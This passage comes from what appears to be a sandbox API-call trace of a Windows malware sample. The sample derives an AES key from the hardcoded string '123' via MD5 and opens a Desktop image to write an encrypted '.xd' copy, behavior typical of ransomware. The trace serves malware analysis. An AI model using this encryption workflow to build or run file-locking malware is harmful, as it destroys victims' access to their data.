lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0078.738] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0078.738] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0078.739] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629470, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629470*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0078.739] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.739] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.739] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.739] CloseHandle (hObject=0x0) returned 0 [0078.739] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.739] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0078.739] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0078.739] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.739] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.739] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.739] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.739] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.739] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.739] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0078.740] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.740] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.740] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0078.740] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.740] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.740] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.740] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.740] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.740] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0078.740] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0078.740] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0078.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0078.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0078.741] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0078.741] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1632078) returned 1 [0078.741] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.741] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.741] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0078.741] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.741] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.741] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.741] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.741] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.741] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.741] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.741] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.741] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.741] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.741] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.742] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.742] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0078.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.742] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.742] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.742] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.742] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.742] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.742] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.742] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.742] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.742] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.742] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.742] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.742] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.742] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.742] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.742] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0078.743] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0078.743] CryptCreateHash (in: hProv=0x1632078, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0078.743] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.743] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.743] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.743] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.743] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0078.743] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629340, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.743] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.743] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.743] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.743] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0078.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621888, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0078.743] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0078.744] CryptHashData (hHash=0x164c430, pbData=0x16294c0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0078.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.744] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.744] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.744] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.744] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.744] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0078.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621810, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0078.744] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0078.744] CryptDeriveKey (in: hProv=0x1632078, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8f0) returned 1 [0078.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.744] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.744] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0078.744] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0078.745] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0078.745] CryptDestroyHash (hHash=0x164c430) returned 1 [0078.745] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.745] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\_oqprsbys0yjuh.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0078.745] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.745] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0078.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.745] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0078.746] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\_oqprsbys0yjuh.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0078.747] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.747] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.747] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.747] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.750] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0078.750] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x20ff, lpOverlapped=0x0) returned 1 [0078.751] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0078.753] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.753] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.753] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.753] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0078.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.753] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0078.753] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.753] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0078.753] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.753] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.753] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.754] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0078.754] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 